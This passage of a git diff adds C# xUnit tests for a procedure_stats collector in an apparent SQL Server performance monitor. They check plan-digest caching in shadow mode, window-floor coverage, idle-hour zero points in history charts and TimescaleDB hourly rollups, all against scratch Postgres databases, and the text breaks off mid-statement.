+        var shadowRun = await shadowRunner.RunAsync(ProcedureStatsCollector.Instance, rig.Server, ct);
+        Assert.True(Measured(shadowRun, "deferred_miss") >= 4, "the shadow cycle ran in shadow");
+        var shadowRows = (await StoredColumnsAsync(rig, ct)).Where(r => !offRows.ContainsKey(r.Key)).Select(r => r.Value).ToList();
+        Assert.Equal(offRows.Count, shadowRows.Count);
+
+        /* Only collection_id and collection_time differ by nature between two cycles (dropped in the query). Every other
+           column, the plan, its digest and its size included, must be equal object by object. */
+        var offByObject = offRows.Values.ToDictionary(v => v.Object, v => v.Json, StringComparer.Ordinal);
+        foreach (var (name, json) in shadowRows)
+        {
+            Assert.True(offByObject.TryGetValue(name, out var offJson), "shadow stored a row off did not: " + name);
+            Assert.Equal(offJson, json);
+        }
+
+        Assert.All(shadowRows, row => Assert.Contains("\"query_plan_xml_bytes\"", row.Json, StringComparison.Ordinal));
+    });
+
+    [Fact]
+    public Task Shadow_WhenAStaleEntryIsForcedIntoTheCache_CountsAFalseHit_AndWarnsWithTheKeyOnly() => WithRigAsync("pm5158p-false", async (rig, _, ct) =>
+    {
+        var log = new CapturingTestLogger();
+        var runner = NewRunner(rig.Store, "shadow", logger: log);
+        await runner.RunAsync(ProcedureStatsCollector.Instance, rig.Server, ct);
+
+        /* Replace every cached digest with one that cannot match the rendered plan, as a fingerprint that missed a change would. */
+        var caches = (System.Collections.IDictionary)typeof(DarlingCollectorRunner)
+            .GetField("_procedureStatsPlanCaches", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Instance)!
+            .GetValue(runner)!;
+        var cache = (PlanDigestCache<ProcedureStatsPlanKey>)caches[rig.Server.ServerId]!;
+        var entries = (Dictionary<ProcedureStatsPlanKey, PlanDigestEntry>)typeof(PlanDigestCache<ProcedureStatsPlanKey>)
+            .GetField("_entries", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Instance)!
+            .GetValue(cache)!;
+        var keys = entries.Keys.ToList();
+        Assert.True(keys.Count >= 4);
+        foreach (var key in keys)
+        {
+            cache.AddPending(key, "00FF", 1, DateTime.UtcNow, 1);
+        }
+
+        cache.ConfirmPending(keys, DateTime.UtcNow);
+
+        var second = await runner.RunAsync(ProcedureStatsCollector.Instance, rig.Server, ct);
+        Assert.True(Measured(second, "deferred_false_hit") >= 4);
+        Assert.Equal(Measured(second, "deferred_would_hit"), Measured(second, "deferred_false_hit"));
+
+        var note = NoteOf(second);
+        Assert.Contains("deferred_false_hit=", note, StringComparison.Ordinal);
+        Assert.DoesNotContain("deferred_false_hit=0", note, StringComparison.Ordinal);
+
+        var warnings = log.Lines.Where(l => l.StartsWith("Warning:", StringComparison.Ordinal) && l.Contains("false hit", StringComparison.Ordinal)).ToList();
+        Assert.True(warnings.Count >= 4);
+        Assert.All(warnings, w =>
+        {
+            Assert.Contains("plan_handle 0x", w, StringComparison.Ordinal);
+            Assert.DoesNotContain("pm_", w, StringComparison.Ordinal);
+            Assert.DoesNotContain("<ShowPlanXML", w, StringComparison.Ordinal);
+        });
+
+        /* The stale cache changed nothing that was written. */
+        Assert.All(await StoredAsync(rig, ct), row => Assert.True(row.PlanResolves));
+    });
+}
diff --git a/Darling/Darling.Tests/ProcedureStatsFloorAndHistoryLiveTests.cs b/Darling/Darling.Tests/ProcedureStatsFloorAndHistoryLiveTests.cs
new file mode 100644
index 0000000000..d5caaa5a9a
--- /dev/null
+++ b/Darling/Darling.Tests/ProcedureStatsFloorAndHistoryLiveTests.cs
@@ -0,0 +1,326 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Security.Cryptography;
+using System.Text;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5449: the procedure_stats window floor and the per-procedure history chart, read against what the Darling collector writes.
+/// Run k stamps its rows at its start, T_k, and writes its collection_log row after the run, at T_k + 3 s with duration_ms 3000 and
+/// rows_collected = the rows it stored. A run that found every procedure idle logs the same way with rows_collected 0. A failed
+/// run logs ERROR and stores nothing. An outage logs nothing. Seeding that order is the point: a log time sits AFTER its rows,
+/// so a reader that treats the log time as the run's start owns each row with the wrong run.
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. Every test here reaches DARLING_TEST_PG only to
+   CREATE and DROP its own database through ScratchPostgres, then works entirely inside it. */
+public sealed class ProcedureStatsFloorAndHistoryLiveTests
+{
+    private const int Server = -544911;
+
+    // ── the history chart ──────────────────────────────────────────────────────────────────────────────────────────
+
+    [Fact]
+    public async Task ProcedureHistoryChart_AQuietRunPlotsZero_OnlyBetweenTheBusyRuns()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await SeededStore.CreateAsync(ct);
+        /* Busy 0-2, quiet 3-4, busy 5, one procedure. */
+        await store.SeedMinutesAsync("BBBIIB", ct);
+        await using var viewer = new ViewerDataService(store.ConnectionString);
+
+        var (grid, chart) = await ReadHistoryAsync(viewer, store, ct);
+
+        /* The grid lists only the minutes with work. */
+        Assert.Equal(4, grid.Count);
+        /* The chart draws every run from the first row to the last: the quiet minutes 3 and 4 are zero points, and only those.
+           A zero sits at the run's log time minus its duration, which is where the run really started. */
+        Assert.Equal(Enumerable.Range(0, 6).Select(m => store.Start.AddMinutes(m)), chart.Select(r => r.CollectionTime));
+        Assert.Equal(new long[] { 10, 10, 10, 0, 0, 10 }, chart.Select(r => (long)r.DeltaExecutions).ToArray());
+    }
+
+    [Fact]
+    public async Task ProcedureHistoryChart_AFailedRunIsNotAQuietPoint()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await SeededStore.CreateAsync(ct);
+        /* Minute 3 failed (an ERROR log row, nothing stored); minute 4 ran and found the procedure idle. */
+        await store.SeedMinutesAsync("BBBEIB", ct);
+        await using var viewer = new ViewerDataService(store.ConnectionString);
+
+        var (_, chart) = await ReadHistoryAsync(viewer, store, ct);
+
+        Assert.Equal(new[] { 0, 1, 2, 4, 5 }, chart.Select(r => (int)(r.CollectionTime - store.Start).TotalMinutes).ToArray());
+        Assert.DoesNotContain(chart, r => r.CollectionTime == store.Start.AddMinutes(3));
+    }
+
+    [Fact]
+    public async Task ProcedureHistoryChart_AnOutageIsNotAQuietPoint()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await SeededStore.CreateAsync(ct);
+        /* Minutes 2 and 3: the service was down, nothing was logged at all. */
+        await store.SeedMinutesAsync("BB--BB", ct);
+        await using var viewer = new ViewerDataService(store.ConnectionString);
+
+        var (_, chart) = await ReadHistoryAsync(viewer, store, ct);
+
+        Assert.Equal(new[] { 0, 1, 4, 5 }, chart.Select(r => (int)(r.CollectionTime - store.Start).TotalMinutes).ToArray());
+    }
+
+    [Fact]
+    public void IdleRunTimes_ARunOwnsTheRowsUpToItsLogTime_AndThePointSitsAtItsStart()
+    {
+        var t = new DateTime(2026, 10, 1, 12, 0, 0, DateTimeKind.Unspecified);
+        /* Each run's log row is written 3 s after its start (duration 3000 ms), its rows stamped at the start. Runs 0-7. */
+        var runs = Enumerable.Range(0, 8).Select(m => new ViewerProcedureHistoryIdleRuns.Run(t.AddMinutes(m).AddSeconds(3), 3000)).ToList();
+        /* Rows at minutes 1, 4 and 6 (each a run's start), and one stamped exactly on run 6's log time. */
+        var rows = new List<DateTime> { t.AddMinutes(1), t.AddMinutes(4), t.AddMinutes(6).AddSeconds(3) };
+
+        var idle = ViewerProcedureHistoryIdleRuns.IdleRunTimes(rows, runs);
+
+        /* Minutes 2, 3 and 5 own no row, and each 0 is at the run's START (log time minus duration), not its log time.
+           Run 1 owns the first row, runs 4 and 6 their rows (6's sits on its own log time, still in (previous, own]); 0 and 7 lie
+           outside the first and last row. The previous rule, ownership in [log time, next log time), gave minute 4's row to run 3. */
+        Assert.Equal(new[] { 2, 3, 5 }, idle.Select(i => (int)(i - t).TotalMinutes).ToArray());
+        Assert.All(idle, i => Assert.Equal(0, i.Second));
+        Assert.Empty(ViewerProcedureHistoryIdleRuns.IdleRunTimes(new List<DateTime>(), runs));
+    }
+
+    // ── the window floor ───────────────────────────────────────────────────────────────────────────────────────────
+
+    [Fact]
+    public async Task ProcedureWindowFloor_AWindowOfOnlyIdleRuns_IsCoveredByTheCollectorsRuns()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await SeededStore.CreateAsync(ct);
+        /* Three busy minutes, then every procedure idle for the next six hours. */
+        await store.SeedMinutesAsync("BBB" + new string('I', 360), ct);
+        var end = store.Start.AddMinutes(363);
+
+        /* The window holds only idle runs: no row in it, still covered. */
+        var floor = await RawWindowFloor.GetAsync(store.DataSource, RawWindowFloor.Table.ProcedureStats, Server, end.AddHours(-2), end, cancellationToken: ct);
+
+        Assert.NotNull(floor);
+        /* The oldest row, a few seconds before the first run's log row: nothing was dropped, so coverage starts there. */
+        Assert.Equal(store.Start, floor);
+    }
+
+    [Fact]
+    public async Task ProcedureWindowFloor_ARunsOnlyStoreHasAFloor_AsItsFirstRun()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await SeededStore.CreateAsync(ct);
+        /* A server the collector has run against but that has no procedure_stats row at all yet. */
+        await store.SeedMinutesAsync(new string('I', 120), ct);
+
+        var floor = await RawWindowFloor.GetAsync(store.DataSource, RawWindowFloor.Table.ProcedureStats, Server, store.Start.AddHours(1), store.Start.AddHours(2), cancellationToken: ct);
+
+        /* The first run's log time: T_0 + 3 s. */
+        Assert.Equal(store.Start.AddSeconds(3), floor);
+    }
+
+    [Fact]
+    public async Task ProcedureWindowFloor_RetentionDroppedBusyRows_TheFloorIsWhereTheRowsStart()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await SeededStore.CreateAsync(ct, daysBack: 10);
+        /* Busy runs logged hourly from 10 days ago, but the rows reach back only 4 days: retention dropped the older ones. */
+        var cut = store.Start.AddDays(6);
+        await store.SeedStepsAsync(TimeSpan.FromHours(1), 240, k => store.Start.AddHours(k) >= cut ? 'B' : 'D', ct);
+
+        /* A 7-day window. The oldest ROW is the floor; the older runs say rows existed there, and they are gone. */
+        var floor = await RawWindowFloor.GetAsync(store.DataSource, RawWindowFloor.Table.ProcedureStats, Server, store.Start.AddDays(3), store.Start.AddDays(10), cancellationToken: ct);
+
+        Assert.Equal(cut, floor);
+        /* So the window (7 days) is truncated by about 3 days: the viewer shows its coverage note. */
+        Assert.True(floor > store.Start.AddDays(3).AddHours(6));
+    }
+
+    [Fact]
+    public async Task ProcedureWindowFloor_IdleRunsBeforeTheFirstRow_TheFloorIsTheOldestRun()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await SeededStore.CreateAsync(ct, daysBack: 10);
+        /* Idle runs hourly from 10 days ago (nothing stored, so nothing was lost), busy from 1 day ago. */
+        var busyFrom = store.Start.AddDays(9);
+        await store.SeedStepsAsync(TimeSpan.FromHours(1), 240, k => store.Start.AddHours(k) >= busyFrom ? 'B' : 'I', ct);
+
+        var floor = await RawWindowFloor.GetAsync(store.DataSource, RawWindowFloor.Table.ProcedureStats, Server, store.Start.AddDays(3), store.Start.AddDays(10), cancellationToken: ct);
+
+        /* No retention cut: coverage reaches the oldest run, older than the window. */
+        Assert.Equal(store.Start.AddSeconds(3), floor);
+    }
+
+    [Fact]
+    public async Task ProcedureWindowFloor_IdleRunsAfterTheDroppedRows_TheFloorIsTheFirstRunAfterThem()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await SeededStore.CreateAsync(ct, daysBack: 5);
+        /* Hours 0-9: busy runs whose rows were dropped. Hours 10-19: idle runs. From hour 20: busy runs with their rows. */
+        await store.SeedStepsAsync(TimeSpan.FromHours(1), 120, k => k < 10 ? 'D' : k < 20 ? 'I' : 'B', ct);
+
+        var floor = await RawWindowFloor.GetAsync(store.DataSource, RawWindowFloor.Table.ProcedureStats, Server, store.Start.AddDays(-2), store.Start.AddDays(5), cancellationToken: ct);
+
+        /* The newest run that stored rows and sits before the oldest row (hour 9) is the last of the dropped ones: the idle run at
+           hour 10 is the first thing left standing, and it covers the quiet stretch before the oldest row. */
+        Assert.Equal(store.Start.AddHours(10).AddSeconds(3), floor);
+    }
+
+    [Fact]
+    public async Task ProcedureWindowFloor_BusyRowsDroppedAndNoRowSinceThen_TheFloorIsTheCutNotTheOldestRun()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await SeededStore.CreateAsync(ct, daysBack: 10);
+        /* Hours 0-71: busy runs (outside the window). Hours 72-119, 7 to 5 days ago: busy runs whose rows retention dropped.
+           From hour 120 to now: every procedure idle, so no row is left at or before the window end (#5449 round 2). */
+        await store.SeedStepsAsync(TimeSpan.FromHours(1), 240, k => k < 120 ? 'D' : 'I', ct);
+
+        var windowStart = store.Start.AddDays(3);
+        var floor = await RawWindowFloor.GetAsync(store.DataSource, RawWindowFloor.Table.ProcedureStats, Server, windowStart, store.Start.AddDays(10), cancellationToken: ct);
+
+        /* The first run after the newest dropped one (hour 119): the idle stretch since is covered, the dropped hours are not.
+           Falling back to the oldest run (hour 0) would read the whole window as covered with no truncation note. */
+        Assert.Equal(store.Start.AddHours(120).AddSeconds(3), floor);
+        Assert.True(RawWindowFloor.IsTruncated(floor, windowStart));
+    }
+
+    [Fact]
+    public void QueryViewFloors_AreByteIdenticalToTheirPreviousText()
+    {
+        /* #5449 changed procedure_stats' floor only. SHA-256 of the previous text (line endings normalised). */
+        Assert.Equal("391564b3c3941545b1bcd0bd052f60720f4356915743c8317e556a14c9646da2", Sha(RawWindowFloor.FloorSql(RawWindowFloor.Table.QueryStats)));
+        Assert.Equal("aee6e54cd891717a2b8bafb6c0214cb9846d130b954917ba903a1674cb7f1073", Sha(RawWindowFloor.FloorSql(RawWindowFloor.Table.QueryStoreStats)));
+    }
+
+    private static string Sha(string text) =>
+        Convert.ToHexString(SHA256.HashData(Encoding.UTF8.GetBytes(text.Replace("\r\n", "\n")))).ToLowerInvariant();
+
+    private static async Task<(List<ViewerProcedureStatsHistoryRow> Grid, List<ViewerProcedureStatsHistoryRow> Chart)> ReadHistoryAsync(
+        ViewerDataService viewer, SeededStore store, CancellationToken ct)
+    {
+        var grid = await viewer.GetProcedureStatsHistoryAsync(Server, "AppDb", "dbo", "usp_Work", store.Start.AddMinutes(-5), store.Start.AddHours(1), ct);
+        var chart = await viewer.GetProcedureStatsHistoryChartRowsAsync(Server, grid, ct);
+        return (grid, chart);
+    }
+
+    private sealed class SeededStore : IAsyncDisposable
+    {
+        private readonly ScratchPostgres _scratch;
+
+        private SeededStore(ScratchPostgres scratch, NpgsqlDataSource dataSource, DateTime start)
+        {
+            _scratch = scratch;
+            DataSource = dataSource;
+            Start = start;
+        }
+
+        public NpgsqlDataSource DataSource { get; }
+
+        public string ConnectionString => _scratch.ConnectionString;
+
+        /// <summary>A whole hour, <c>daysBack</c> days ago (6 hours by default): run 0 starts here.</summary>
+        public DateTime Start { get; }
+
+        public static async Task<SeededStore> CreateAsync(CancellationToken ct, int daysBack = 0)
+        {
+            var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+            Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+                "Set DARLING_TEST_PG to a Postgres connection string to run the live procedure_stats floor and history tests.");
+
+            var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+            try
+            {
+                await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+                await connection.OpenAsync(ct);
+                await PgMigrations.MigrateAsync(connection, ct);
+                await DarlingMcpTestData.RegisterServerAsync(connection, Server, "floor-history", ct);
+
+                var back = daysBack > 0 ? DateTime.UtcNow.AddDays(-daysBack) : DateTime.UtcNow.AddHours(-6);
+                var start = new DateTime(back.Year, back.Month, back.Day, back.Hour, 0, 0, DateTimeKind.Utc);
+                return new SeededStore(scratch, NpgsqlDataSource.Create(scratch.ConnectionString), start);
+            }
+            catch
+            {
+                await scratch.DisposeAsync();
+                throw;
+            }
+        }
+
+        /// <summary>One run per character, a minute apart from <see cref="Start"/>: <c>B</c> busy, <c>I</c> idle, <c>E</c> failed,
+        /// <c>-</c> an outage (nothing at all).</summary>
+        public Task SeedMinutesAsync(string pattern, CancellationToken ct) =>
+            SeedStepsAsync(TimeSpan.FromMinutes(1), pattern.Length, k => pattern[k], ct);
+
+        /// <summary>
+        /// Run k at <see cref="Start"/> + k * step, in the order the collector writes them. <c>B</c>: a row at the run's start, then a
+        /// SUCCESS log row 3 s later, duration 3000 ms, one row collected. <c>I</c>: the SUCCESS log row only, rows_collected 0.
+        /// <c>D</c>: the busy log row without its row (retention dropped it). <c>E</c>: an ERROR log row only. <c>-</c>: nothing.
+        /// </summary>
+        public async Task SeedStepsAsync(TimeSpan step, int count, Func<int, char> kind, CancellationToken ct)
+        {
+            await using var connection = await DataSource.OpenConnectionAsync(ct);
+            for (var k = 0; k < count; k++)
+            {
+                var at = Start + (step * k);
+                var what = kind(k);
+                if (what == 'B')
+                {
+                    await InsertRowAsync(connection, at, ct);
+                }
+
+                if (what == '-')
+                {
+                    continue;
+                }
+
+                await InsertLogAsync(connection, at.AddSeconds(3), what == 'E' ? "ERROR" : "SUCCESS", (what is 'B' or 'D') ? 1 : 0, ct);
+            }
+        }
+
+        private static async Task InsertRowAsync(NpgsqlConnection connection, DateTime at, CancellationToken ct)
+        {
+            await using var insert = new NpgsqlCommand(@"
+INSERT INTO collect.procedure_stats
+    (collection_id, collection_time, server_id, server_name, database_name, schema_name, object_name, sql_handle,
+     delta_worker_time, delta_elapsed_time, delta_execution_count, sample_interval_seconds)
+VALUES ((SELECT COALESCE(MAX(collection_id), 0) + 1 FROM collect.procedure_stats), $1, $2, 'floor-history', 'AppDb', 'dbo', 'usp_Work', '0x01', 600000, 600000, 10, 60)", connection);
+            insert.Parameters.AddWithValue(DateTime.SpecifyKind(at, DateTimeKind.Unspecified));
+            insert.Parameters.AddWithValue(Server);
+            await insert.ExecuteNonQueryAsync(ct);
+        }
+
+        private static async Task InsertLogAsync(NpgsqlConnection connection, DateTime at, string status, int rowsCollected, CancellationToken ct)
+        {
+            await using var insert = new NpgsqlCommand(@"
+INSERT INTO collect.collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected)
+VALUES ((SELECT COALESCE(MAX(log_id), 0) + 1 FROM collect.collection_log), $1, 'floor-history', 'procedure_stats', $2, 3000, $3, $4)", connection);
+            insert.Parameters.AddWithValue(Server);
+            insert.Parameters.AddWithValue(DateTime.SpecifyKind(at, DateTimeKind.Unspecified));
+            insert.Parameters.AddWithValue(status);
+            insert.Parameters.AddWithValue(rowsCollected);
+            await insert.ExecuteNonQueryAsync(ct);
+        }
+
+        public async ValueTask DisposeAsync()
+        {
+            await DataSource.DisposeAsync();
+            await _scratch.DisposeAsync();
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/ProcedureStatsIdleHoursLiveTests.cs b/Darling/Darling.Tests/ProcedureStatsIdleHoursLiveTests.cs
new file mode 100644
index 0000000000..2dcdc4cdf4
--- /dev/null
+++ b/Darling/Darling.Tests/ProcedureStatsIdleHoursLiveTests.cs
@@ -0,0 +1,462 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Darling.Tests;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace PerformanceMonitor.Darling.Tests;
+
+/* #1776 own-store: this class mints its own scratch database through ScratchPostgres and never touches another test's
+   rows, so it is deliberately NOT [Collection("live-postgres")] (it also stops the scratch database's TimescaleDB
+   background workers, which the shared store must never inherit). */
+
+/// <summary>
+/// #5449: the procedure_stats collector stores no row for a procedure that did no work in a cycle, so the hourly rollup holds
+/// no row for an hour in which no procedure worked. An older store kept the idle rows, so its rollup has a (zero) row for every
+/// hour. The hourly-tier trend must answer the same on both: a quiet hour between two busy ones is a measured 0 (not a gap), and
+/// a wider bucket divides by every hour in it, not only the busy ones. Each test seeds two servers with the same work:
+/// <see cref="OldServer"/> keeps the idle rows, <see cref="NewServer"/> leaves them out. A TimescaleDB scratch store; the raw rows
+/// are purged after the rollup refreshes, so the routed read serves from the interval successor views.
+/// </summary>
+public sealed class ProcedureStatsIdleHoursLiveTests
+{
+    private const int OldServer = -544911;
+    private const int NewServer = -544912;
+    private const string OldName = "idle-hours-old";
+    private const string NewName = "idle-hours-new";
+
+    private static readonly DateTime WindowStart = new(2026, 1, 5, 0, 0, 0, DateTimeKind.Unspecified);
+
+    /// <summary>Work in hours 1, 2 and 6 (hours 3, 4 and 5 are quiet): the same on both servers. The older store keeps a zero row
+    /// for the quiet hours between them, and none for the hours before the first work or after the last. The new store logs a
+    /// collector run in each of hours 1 to 6.</summary>
+    private static readonly int[] BusyHours = { 1, 2, 6 };
+
+    [Fact]
+    public async Task HourlyTier_AQuietHourIsAZeroPoint_AndAWiderBucketCountsIt_OnBothStores()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string (with TimescaleDB installed) to run the live procedure_stats idle-hour test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var timescaleEnabled = await TimescaleSupport.TryEnableAsync(connection, null, ct);
+        Assert.SkipWhen(!timescaleEnabled, "The live procedure_stats idle-hour test needs TimescaleDB.");
+        await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
+        Assert.True(await TimescaleSupport.EnsureCollectionLogHypertableAsync(connection, null, ct));
+        await using (var stop = new NpgsqlCommand("SELECT _timescaledb_functions.stop_background_workers()", connection))
+        {
+            await stop.ExecuteNonQueryAsync(ct);
+        }
+
+        await DarlingMcpTestData.RegisterServerAsync(connection, OldServer, OldName, ct);
+        await DarlingMcpTestData.RegisterServerAsync(connection, NewServer, NewName, ct);
+        await TimescaleSupport.EnsureContinuousAggregatesAsync(connection, null, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            var windowEnd = WindowStart.AddDays(1);
+            for (var hour = 1; hour <= 6; hour++)
+            {
+                var busy = BusyHours.Contains(hour);
+                var at = WindowStart.AddHours(hour).AddMinutes(10);
+                /* Production order: the new store's busy run stores its row at its start and is logged just after it; a quiet run is
+                   logged and stores nothing. The older store has no run log, so its hours are the rollup's own. */
+                await InsertAsync(connection, NewServer, NewName, at, busy, ct, skipWhenIdle: true);
+                await LogRunAsync(connection, NewServer, NewName, at.AddSeconds(3), busy ? 1 : 0, ct);
+                await InsertAsync(connection, OldServer, OldName, at, busy, ct, skipWhenIdle: false);
+            }
+
+            await using (var refresh = new NpgsqlCommand(
+                $"CALL refresh_continuous_aggregate('collect.{TimescaleSupport.ProcedureStatsIntervalHourlyView}'::regclass, $1::timestamp, $2::timestamp)", connection))
+            {
+                refresh.Parameters.AddWithValue(WindowStart);
+                refresh.Parameters.AddWithValue(windowEnd.AddHours(1));
+                await refresh.ExecuteNonQueryAsync(ct);
+            }
+
+            await using (var purge = new NpgsqlCommand("DELETE FROM collect.procedure_stats WHERE collection_time >= $1 AND collection_time < $2", connection))
+            {
+                purge.Parameters.AddWithValue(WindowStart);
+                purge.Parameters.AddWithValue(windowEnd);
+                await purge.ExecuteNonQueryAsync(ct);
+            }
+
+            await using var data = NpgsqlDataSource.Create(scratch.ConnectionString);
+            var budget = TrendBudget.Mcp(TrendBuckets.DurationMaxPoints);
+            var asOf = DateTime.SpecifyKind(windowEnd, DateTimeKind.Utc).ToString("o");
+
+            /* The MCP tool, one-hour buckets: a point per hour from the first busy hour to the last, the quiet ones at 0. */
+            var oldHours = await McpSeriesAsync(data, OldName, asOf, 60, budget, ct);
+            var newHours = await McpSeriesAsync(data, NewName, asOf, 60, budget, ct);
+            Assert.Equal(oldHours.OrderBy(p => p.Key).ToArray(), newHours.OrderBy(p => p.Key).ToArray());
+            Assert.Equal(6, newHours.Count);
+            Assert.Equal(0.0, newHours[WindowStart.AddHours(4)], 9);
+            Assert.True(newHours[WindowStart.AddHours(1)] > 0);
+
+            /* Four-hour buckets: [00:00, 04:00) holds hours 1, 2 and 3 (3 is quiet) and [04:00, 08:00) holds hours 4, 5 and 6 (only 6
+               worked). Without the quiet hours the rollup holds hours 1 and 2 in the first and only hour 6 in the second, so
+               the new store's rates read 1.5 and 3 times the old store's. */
+            var oldWide = await McpSeriesAsync(data, OldName, asOf, 240, budget, ct);
+            var newWide = await McpSeriesAsync(data, NewName, asOf, 240, budget, ct);
+            Assert.Equal(oldWide.OrderBy(p => p.Key).ToArray(), newWide.OrderBy(p => p.Key).ToArray());
+            Assert.Equal((newHours[WindowStart.AddHours(1)] + newHours[WindowStart.AddHours(2)]) / 3, newWide[WindowStart], 12);
+            Assert.Equal(newHours[WindowStart.AddHours(6)] / 3, newWide[WindowStart.AddHours(4)], 12);
+
+            /* The desktop viewer's read, the same two shapes. */
+            await using var viewer = new ViewerDataService(scratch.ConnectionString);
+            var now = DateTime.UtcNow;
+            var oldViewer = await ViewerSeriesAsync(viewer, OldServer, windowEnd, now, ct);
+            var newViewer = await ViewerSeriesAsync(viewer, NewServer, windowEnd, now, ct);
+            Assert.Equal(oldViewer.OrderBy(p => p.Key).ToArray(), newViewer.OrderBy(p => p.Key).ToArray());
+            Assert.Equal(6, newViewer.Count);
+            Assert.Equal(0.0, newViewer[WindowStart.AddHours(4)], 9);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (cleanup, cleanupCt) =>
+            {
+                await using var probe = new NpgsqlCommand(
+                    "SELECT count(*) FROM pg_catalog.pg_stat_activity WHERE datname = pg_catalog.current_database() " +
+                    "AND backend_type LIKE 'TimescaleDB Background Worker Scheduler%'", cleanup);
+                Assert.Equal(0L, Convert.ToInt64(await probe.ExecuteScalarAsync(cleanupCt)));
+            });
+        }
+    }
+
+    /// <summary>
+    /// A seven-hour bucket on a store with an outage in it. The rollup holds hours 1, 2 and 4; the collector ran in hours 0, 1, 2,
+    /// 4 and 5 (hours 0 and 5 stored nothing, so they are measured zeros); the collector was down in hour 3 (no row, no run); and hour
+    /// 6 has runs and raw rows the rollup has not materialized yet. The hours in the series are the five with a rollup row or a run
+    /// and no raw row: 0, 1, 2, 4 and 5. The outage hour and the not-yet-materialized hour stay gaps, so the bucket divides by 5
+    /// hours (0.6), where the earlier fill between the first and last rollup hour counted 4 (0.75), counted the outage as a quiet hour,
+    /// and missed the idle edge hours.
+    /// </summary>
+    [Fact]
+    public async Task HourlyTier_AnOutageAndAnUnmaterializedHourStayGaps_AndTheIdleEdgeHoursFill()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string (with TimescaleDB installed) to run the live procedure_stats idle-hour test.");
+        var ct = TestContext.Current.CancellationToken;
+        const int server = -544913;
+        const string name = "idle-hours-outage";
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = await OpenHypertableStoreAsync(scratch, ct, (server, name));
+        var bodySucceeded = false;
+        try
+        {
+            /* The 420-minute buckets start on the origin's multiples of seven hours: start on one, so hours 0 to 6 are one bucket. */
+            var origin = new DateTime(2000, 1, 1, 0, 0, 0, DateTimeKind.Unspecified);
+            var anchor = WindowStart.AddDays(30);
+            var h0 = origin.AddMinutes(420 * Math.Floor((anchor - origin).TotalMinutes / 420));
+            var end = h0.AddHours(7);
+
+            foreach (var hour in new[] { 1, 2, 4 })
+            {
+                await InsertAsync(connection, server, name, h0.AddHours(hour).AddMinutes(10), busy: true, ct, skipWhenIdle: true);
+            }
+
+            foreach (var hour in new[] { 0, 1, 2, 4, 5 })
+            {
+                var at = h0.AddHours(hour).AddMinutes(10);
+                await LogRunAsync(connection, server, name, at.AddSeconds(3), rowsCollected: hour is 1 or 2 or 4 ? 1 : 0, ct);
+            }
+
+            await RefreshAndPurgeAsync(connection, h0, h0.AddHours(6), ct);
+
+            /* Hour 6 is the newest hour: raw rows and runs, no rollup row yet (and nothing purged). */
+            await InsertAsync(connection, server, name, h0.AddHours(6).AddMinutes(10), busy: true, ct, skipWhenIdle: true);
+            await LogRunAsync(connection, server, name, h0.AddHours(6).AddMinutes(10).AddSeconds(3), rowsCollected: 1, ct);
+
+            await using var data = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+            /* The chart's hourly read over the interval rollup, unfiltered and filtered: zeros at hours 0 and 5, no point at 3 or 6. */
+            var rollup = $"collect.{TimescaleSupport.ProcedureStatsIntervalHourlyView}";
+            foreach (var withFilter in new[] { false, true })
+            {
+                var hourlyPoints = await ReadAsync(
